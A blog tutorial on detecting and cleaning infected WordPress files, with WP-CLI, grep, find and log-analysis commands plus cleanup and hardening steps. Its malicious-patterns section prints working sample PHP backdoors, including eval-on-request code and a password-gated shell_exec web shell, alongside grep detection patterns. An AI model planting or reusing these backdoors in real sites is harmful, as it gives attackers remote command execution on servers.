---
title: "Infected WordPress Files: How to Identify and Clean Them"
description: "Learn to identify and clean infected WordPress files. WP-CLI scan, grep commands, log analysis and backdoor removal guide."
date: "2026-03-11"
author: "Bastien Allain"
category: "SEO"
tags: ["wordpress", "infected-files", "malware", "backdoor", "security", "wp-cli"]
keywords: ["wordpress", "infected-files", "malware", "backdoor", "security", "wp-cli"]
image: "/blog/category-seo.webp"
published: true
locale: "en"
translationKey: "wordpress-infected-files"
imageAlt: "Infected WordPress Files: How to Identify and Clean Them"
lastmod: "2026-03-11"
authorImage: "/authors/bastien-allain.webp"
authorTwitter: ""
isFamilyFriendly: true
---

When a WordPress site is compromised, malware leaves traces in the server files. Hidden backdoor scripts in the uploads folder, obfuscated code inserted into `functions.php`, core files silently modified: **infected files** are the attacker's preferred playground. In 2026, with AI-powered obfuscation techniques, these malicious files are harder to spot than ever. This guide teaches you how to **systematically identify** every infected file and clean it without breaking your site.

<HowTo
  name="How to identify and clean infected WordPress files"
  description="Detect malware in your WordPress installation and remove it without breaking your site."
  totalTime="PT1H30M"
  steps={[
    { name: "Run WP-CLI checksum verification", text: "Use wp core verify-checksums to detect any modified WordPress core files." },
    { name: "Scan the uploads folder for PHP files", text: "Search wp-content/uploads for PHP files, which should never exist there." },
    { name: "Inspect theme and plugin files", text: "Check functions.php, header.php, and plugin folders for obfuscated or unknown code." },
    { name: "Search for common malware patterns", text: "Grep for base64_decode, eval, and other suspicious PHP functions across all files." },
    { name: "Remove or replace infected files", text: "Delete malicious files and reinstall clean versions of core, themes, and plugins." },
    { name: "Update all credentials", text: "Change database passwords, WordPress salts, and all admin account passwords." },
    { name: "Verify the cleanup", text: "Re-scan the site with a security plugin and check server logs for remaining threats." },
    { name: "Harden against reinfection", text: "Set correct file permissions, remove unused plugins, and enable a web application firewall." }
  ]}
/>

## Which Files Hackers Target First

Attackers do not modify files at random. They target strategic locations that guarantee **persistence**, **stealth**, and **maximum impact**.

### WordPress Core Files

| File | Why It Is Targeted | Risk |
|---|---|---|
| **wp-config.php** | Contains database credentials and security keys | Data theft, persistent backdoor |
| **wp-load.php** | Executed on every page load | Malicious code runs systematically |
| **wp-blog-header.php** | Main WordPress entry point | Redirect, content injection |
| **index.php** (root) | First file executed | Redirect, defacement |
| **wp-includes/version.php** | Rarely inspected by admins | Stealthy backdoor |

### Theme Files

| File | Injection Technique |
|---|---|
| **functions.php** | Malicious functions added at the beginning or end of file |
| **header.php** | JavaScript injection for redirect or crypto mining |
| **footer.php** | Hidden SEO spam links or tracking scripts |
| **404.php** | Full backdoor (rarely visited page = low detection) |
| **style.css** | Comments containing PHP code (if server is misconfigured) |

### Plugin Files

Attackers often create **fake plugins** in `/wp-content/plugins/` with legitimate-sounding names:

- `wp-super-cache-cleanup/`
- `seo-optimizer-pro/`
- `security-update-2026/`
- `ultra-seo-processor/`

These fake plugins contain backdoors and are loaded automatically by WordPress.

### The Uploads Folder: Danger Zone

The `/wp-content/uploads/` folder should **never** contain PHP files. Yet it is one of the hackers' preferred locations because:

- Write permissions are often too permissive
- Scanning tools rarely focus on this folder
- The date-based subfolder structure (`/2026/03/`) makes it easy to hide files

### mu-plugins Files

The `/wp-content/mu-plugins/` folder (must-use plugins) is **loaded automatically** without appearing in the admin interface. It is an ideal location for persistent backdoors:

```bash
# Check the mu-plugins folder contents
ls -la /path/to/wordpress/wp-content/mu-plugins/
```

## How to Detect Infected Files

Detection relies on a multi-layered approach combining **automated tools** and **manual inspection**.

### Method 1: WP-CLI Verify Checksums

WP-CLI lets you compare your installation files against the official WordPress originals:

```bash
# Verify core file integrity
wp core verify-checksums

# Verify plugin integrity (from wordpress.org)
wp plugin verify-checksums --all

# Example output when issues are found
# Warning: File doesn't verify against checksum: wp-includes/version.php
# Warning: File not in WordPress installation: wp-includes/wp-tmp.php
```

This command identifies three types of issues:

- **Modified files**: the checksum does not match
- **Missing files**: deleted by the hacker to break functionality
- **Added files**: files that are not part of the official installation

### Method 2: Malicious Signature Search with grep

```bash
# Search for common obfuscation functions
grep -rn "eval(base64_decode" /path/to/wordpress/ --include="*.php"
grep -rn "eval(gzinflate" /path/to/wordpress/ --include="*.php"
grep -rn "eval(str_rot13" /path/to/wordpress/ --include="*.php"

# Search for system execution functions
grep -rn "exec(\|system(\|passthru(\|shell_exec(\|popen(" /path/to/wordpress/ --include="*.php"

# Search for remote includes
grep -rn "file_get_contents('http\|curl_exec\|wp_remote_get.*http" /path/to/wordpress/wp-content/ --include="*.php"

# Search for variable obfuscation patterns
grep -rn '\$[a-zA-Z_]*\s*=\s*"\\\x[0-9a-f]' /path/to/wordpress/ --include="*.php"

# Search for hidden iframes
grep -rn "iframe.*style.*display.*none\|iframe.*width.*0.*height.*0" /path/to/wordpress/ --include="*.php"
```

### Method 3: File Modification Date Analysis

```bash
# Find PHP files modified in the last 7 days
find /path/to/wordpress/ -name "*.php" -mtime -7 -type f

# Find PHP files modified in the last 30 days in wp-content
find /path/to/wordpress/wp-content/ -name "*.php" -mtime -30 -type f -ls

# Find PHP files in the uploads folder
find /path/to/wordpress/wp-content/uploads/ -name "*.php" -type f

# Find files with double extensions
find /path/to/wordpress/ -name "*.php.jpg" -o -name "*.php.png" -o -name "*.php.gif" -type f
```

**Warning**: modification dates can be faked with the `touch` command. Do not rely solely on this method.

### Method 4: Comparison with a Clean Installation

```bash
# Download a clean copy of WordPress
wp core download --path=/PATH/TO/CLEAN-WP-clean --force

# Compare core files
diff -rq /path/to/wordpress/wp-includes/ /PATH/TO/CLEAN-WP-clean/wp-includes/
diff -rq /path/to/wordpress/wp-admin/ /PATH/TO/CLEAN-WP-clean/wp-admin/

# Compare a specific file
diff /path/to/wordpress/wp-includes/version.php /PATH/TO/CLEAN-WP-clean/wp-includes/version.php
```

### Method 5: Server Log Analysis

Logs can reveal which files the hacker is calling:

```bash
# Search for suspicious POST requests to PHP files in uploads
grep "POST.*uploads.*\.php" /var/log/apache2/access.log

# Search for requests to non-standard files
grep "\.php" /var/log/apache2/access.log | grep -v "wp-admin\|wp-login\|wp-cron\|xmlrpc\|wp-json\|index.php"

# Search for access to known backdoor files
grep "wp-tmp\|wp-feed\|class-wp-cache\|db-safe-mode" /var/log/apache2/access.log
```

## Common Malicious Code Patterns

Recognizing malicious code by sight is an essential skill. Here are the **most frequent patterns** in 2026.

### Pattern 1: eval() + base64_decode()

The classic approach. Code is base64-encoded to evade basic scans:

```php
// Typical malicious code
eval(base64_decode('aWYoaXNzZXQoJF9SRVFVRVNUWydj...'));

// Which often decodes to:
if(isset($_REQUEST['cmd'])){
    eval($_REQUEST['cmd']);
}
```

To manually decode:

```bash
echo "aWYoaXNzZXQoJF9SRVFVRVNUWydjbWQnXSkpew==" | base64 --decode
```

### Pattern 2: Obfuscated Concatenated Variables

Code uses variable concatenation to hide function names:

```php
// Obfuscation through concatenation
$a = 'ev'; $b = 'al'; $c = $a.$b;
$d = 'bas'.'e64'.'_de'.'code';
$c($d('malicious_encoded_code'));

// Obfuscation through chr()
$func = chr(101).chr(118).chr(97).chr(108); // = "eval"
$func('malicious_code');
```

### Pattern 3: Backdoor with Authentication

Sophisticated backdoors that only activate with a **password**:

```php
// Backdoor with HTTP header authentication
if (isset($_SERVER['HTTP_X_FORWARDED_HOST']) &&
    md5($_SERVER['HTTP_X_FORWARDED_HOST']) === 'a1b2c3d4e5f6...') {
    eval(file_get_contents('php://input'));
}

// Backdoor with cookie authentication
if (isset($_COOKIE['wp_session']) &&
    $_COOKIE['wp_session'] === 'secret_token_here') {
    @eval($_POST['code']);
}
```

### Pattern 4: Injection into Legitimate Files

Malicious code is inserted into existing files, often at the beginning or end:

```php
<?php
// Normal start of functions.php
// ... then at the very bottom:

@include_once('/path/to/wordpress/wp-content/uploads/2026/03/.cache.php');

// Or with an obfuscated relative path
@include("\x2f\x68\x6f\x6d\x65".$_SERVER['DOCUMENT_ROOT']."/wp-includes/.wp-tmp.php");
```

### Pattern 5: Full Web Shell

A standalone file that provides **full access** to the server:

```php
<?php
// Often named something innocent like "wp-cache-db.php"
if($_GET['pass']=='secretpass'){
    echo '<form method="post"><textarea name="cmd"></textarea><input type="submit"></form>';
    if(isset($_POST['cmd'])){
        echo '<pre>'.shell_exec($_POST['cmd']).'</pre>';
    }
}
?>
```

### Signature Summary Table

| Signature | Danger | Typical Files |
|---|---|---|
| `eval(base64_decode(` | Hidden code execution | All PHP files |
| `eval(gzinflate(` | Compressed and executed code | functions.php, wp-load.php |
| `$_REQUEST['cmd']` | Interactive backdoor | Added files |
| `@include_once(` with obfuscated path | Backdoor loading | functions.php, wp-config.php |
| `preg_replace('/.*e'` | Execution via regex (PHP < 7) | Old themes |
| `assert(` with variable | Alternative to eval() | Plugins |
| `file_put_contents` + `$_POST` | Remote file writing | Backdoors |

## Step-by-Step Cleanup

### Step 1: Prepare the Environment

```bash
# Create a full backup BEFORE any cleanup
wp db export /path/to/backup/db-backup-$(date +%Y%m%d).sql
tar -czf /path/to/backup/files-backup-$(date +%Y%m%d).tar.gz /path/to/wordpress/

# Enable maintenance mode
wp maintenance-mode activate
```

### Step 2: Replace Core Files

This is the safest method: completely replace WordPress files with originals:

```bash
# Download and replace core files
wp core download --force --skip-content

# Verify integrity after reinstallation
wp core verify-checksums
```

This command replaces `/wp-admin/` and `/wp-includes/` without touching `/wp-content/`.

### Step 3: Clean Theme Files

```bash
# List modified files in the active theme
THEME=$(wp theme list --status=active --field=name)

# If it is a wordpress.org theme, reinstall it
wp theme install $THEME --force

# If it is a custom theme, compare with the original version
diff -rq /path/to/wordpress/wp-content/themes/$THEME/ /path/to/original-theme/

# Manually check functions.php
head -20 /path/to/wordpress/wp-content/themes/$THEME/functions.php
tail -20 /path/to/wordpress/wp-content/themes/$THEME/functions.php
```

For **custom themes** without a reference version, inspect each PHP file:

```bash
# Scan all theme files for suspicious code
grep -rn "eval(\|base64_decode\|gzinflate\|str_rot13\|shell_exec\|passthru" \
    /path/to/wordpress/wp-content/themes/$THEME/ --include="*.php"
```

### Step 4: Clean Plugins

```bash
# Reinstall all plugins from the official repository
wp plugin install $(wp plugin list --field=name --format=csv) --force

# List plugins not on wordpress.org (potentially suspicious)
wp plugin verify-checksums --all 2>&1 | grep "not install"

# Remove fake plugins
ls -la /path/to/wordpress/wp-content/plugins/ | grep -v "index.php"
```

Manually verify each plugin that is not available on wordpress.org.

### Step 5: Purge the Uploads Folder

```bash
# Delete ALL PHP files from the uploads folder
find /path/to/wordpress/wp-content/uploads/ -name "*.php" -type f -delete

# Delete files with suspicious extensions
find /path/to/wordpress/wp-content/uploads/ -name "*.php.*" -type f -delete
find /path/to/wordpress/wp-content/uploads/ -name ".*.php" -type f -delete

# Delete unnecessary .htaccess files in uploads
find /path/to/wordpress/wp-content/uploads/ -name ".htaccess" -type f -delete

# Check hidden files (starting with a dot)
find /path/to/wordpress/wp-content/uploads/ -name ".*" -type f
```

### Step 6: Clean the mu-plugins Folder

```bash
# List mu-plugins contents
ls -la /path/to/wordpress/wp-content/mu-plugins/

# Remove any unrecognized file
# Only keep files you intentionally created
```

### Step 7: Verify wp-config.php

```bash
# Search for suspicious code
grep -n "eval\|base64\|include\|require" /path/to/wordpress/wp-config.php

# Check first lines (before <?php)
head -3 /path/to/wordpress/wp-config.php

# Check last lines (after require wp-settings.php)
tail -5 /path/to/wordpress/wp-config.php
```

Regenerate **security keys** and change the **database password**. For all post-cleanup hardening measures, see our guide on [securing WordPress after a hack](/blog/seo/secure-wordpress-after-hack).

### Step 8: Fix Permissions

```bash
# Recommended permissions for WordPress
find /path/to/wordpress/ -type d -exec chmod 755 {} \;
find /path/to/wordpress/ -type f -exec chmod 644 {} \;

# Restrictive permissions for wp-config.php
chmod 400 /path/to/wordpress/wp-config.php

# Restrictive permissions for .htaccess
chmod 444 /path/to/wordpress/.htaccess
```

## Recommended Tools

### Command-Line Tools

| Tool | Usage | Command |
|---|---|---|
| **WP-CLI** | Integrity verification | `wp core verify-checksums` |
| **grep** | Signature search | `grep -rn "eval(" --include="*.php"` |
| **find** | Suspicious file detection | `find . -name "*.php" -mtime -7` |
| **diff** | Clean file comparison | `diff -rq /infected/ /clean/` |
| **clamscan** | Open-source antivirus | `clamscan -r /path/to/wordpress/` |

### Security Plugins

| Plugin | Strengths | Scan |
|---|---|---|
| **Wordfence** | Deep file scanning, WAF firewall | Comparison with official repository |
| **Sucuri Security** | Real-time monitoring, secure CDN | Remote + local scan |
| **MalCare** | Cloud scan (does not overload server) | Behavioral analysis |
| **iThemes Security** | Complete WordPress hardening | Integrity verification |

## Post-Cleanup Verification

```bash
# Final comprehensive scan
wp core verify-checksums
wp plugin verify-checksums --all

# Verify no PHP files remain in uploads
find /path/to/wordpress/wp-content/uploads/ -name "*.php" -type f

# Check cron tasks (automated reinfection)
wp cron event list

# Final grep scan
grep -rn "eval(base64_decode\|eval(gzinflate" /path/to/wordpress/ --include="*.php"
```

### Validation Checklist

- Core checksums verified: **OK**
- Plugin checksums verified: **OK**
- No PHP files in `/uploads/`: **OK**
- No fake plugins in `/plugins/`: **OK**
- `/mu-plugins/` folder clean: **OK**
- `wp-config.php` verified: **OK**
- Security keys regenerated: **OK**
- Database password changed: **OK**
- File permissions corrected: **OK**
- Cron jobs cleaned: **OK**
- Wordfence/Sucuri scan clean: **OK**

## Prevention: Avoiding Reinfection

Prevention is just as important as cleanup. Without preventive measures, reinfection is nearly certain.

### File Monitoring

Set up automated file modification monitoring:

```bash
# Simple monitoring script (run via cron)
#!/bin/bash
WORDPRESS_PATH="/path/to/wordpress"
HASH_FILE="/path/to/monitoring/files.md5"

# Generate current checksums
find $WORDPRESS_PATH -name "*.php" -type f -exec md5sum {} \; > /var/tmp/current_hashes.md5

# Compare with reference checksums
diff $HASH_FILE /var/tmp/current_hashes.md5 > /var/tmp/file_changes.txt

if [ -s /var/tmp/file_changes.txt ]; then
    mail -s "ALERT: WordPress files modified" admin@yoursite.com < /var/tmp/file_changes.txt
fi
```

### Server Hardening

- Disable **PHP execution** in the uploads folder via `.htaccess`:

```apache
# /wp-content/uploads/.htaccess
<Files "*.php">
    Deny from all
</Files>
```

- Disable **directory listing**:

```apache
Options -Indexes
```

- Limit **write permissions** to only necessary folders

### Updates and Maintenance

- Enable **automatic updates** for core and plugins
- Remove **inactive themes and plugins**
- Regularly change **passwords** (admin, FTP, database)
- Perform **daily backups** and test restoration
- Subscribe to a [WordPress maintenance service](/services/wordpress/maintenance) to automate these tasks

## When to Call a Professional

If you are facing any of these scenarios, a professional [WordPress malware removal service](/services/wordpress/malware-removal) is recommended:

- Infected files return after every cleanup
- You cannot find the source of infection
- The site has been flagged by Google Safe Browsing
- You handle sensitive data (e-commerce, personal data)
- You want a comprehensive [security audit](/services/wordpress/security)

## Conclusion

Identifying and cleaning **infected WordPress files** demands method and rigor. By combining automated tools (WP-CLI, grep, diff) with manual inspection of strategic files, you can eliminate every trace of malware. The key is to be **systematic**: skip no step, check every location, and set up permanent monitoring.

For a complete guide on the cleanup process, see our article on [cleaning a hacked WordPress site](/blog/seo/wordpress-hacked-cleanup-guide). If you suspect your site contains specific backdoors, our guide on [manually removing WordPress malware](/blog/seo/remove-wordpress-malware-manually) will help you eliminate them one by one.
